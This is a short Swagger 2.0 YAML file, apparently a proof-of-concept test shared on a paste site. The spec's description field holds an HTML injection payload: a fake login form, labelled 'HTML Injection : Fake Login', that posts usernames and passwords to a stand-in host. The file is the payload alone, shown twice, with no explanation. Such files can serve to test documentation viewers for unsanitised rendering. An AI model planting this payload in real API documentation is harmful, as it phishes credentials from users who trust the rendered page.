test2.yaml
· 914 B · YAML
Eredeti
swagger: '2.0'
info:
version: 1.0.0
title: Fake Login Page
description: '<div class="login-form">
<div class="heading">
<h1>HTML Injection : Fake Login</h1>
</div>
<div class="form-container">
<form action="https://example.com/login" method="post" class="form-signin">
<div class="form-group">
<label for="username">Username</label>
<input type="text" name="username" size="20">
</div>
<div class="form-group">
<label for="password">Password</label>
<input type="password" name="password" size="20">
</div>
<div class="form-group">
<button type="submit" class="btn btn-default">Login</button>
</div>
</form>
</div>
</div>'
paths:
/:
post:
responses:
'200':
description: Login successful
1 | swagger: '2.0' |
2 | info: |
3 | version: 1.0.0 |
4 | title: Fake Login Page |
5 | description: '<div class="login-form"> |
6 | <div class="heading"> |
7 | <h1>HTML Injection : Fake Login</h1> |
8 | </div> |
9 | <div class="form-container"> |
10 | <form action="https://example.com/login" method="post" class="form-signin"> |
11 | <div class="form-group"> |
12 | <label for="username">Username</label> |
13 | <input type="text" name="username" size="20"> |
14 | </div> |
15 | <div class="form-group"> |
16 | <label for="password">Password</label> |
17 | <input type="password" name="password" size="20"> |
18 | </div> |
19 | <div class="form-group"> |
20 | <button type="submit" class="btn btn-default">Login</button> |
21 | </div> |
22 | </form> |
23 | </div> |
24 | </div>' |
25 | paths: |
26 | /: |
27 | post: |
28 | responses: |
29 | '200': |
30 | description: Login successful |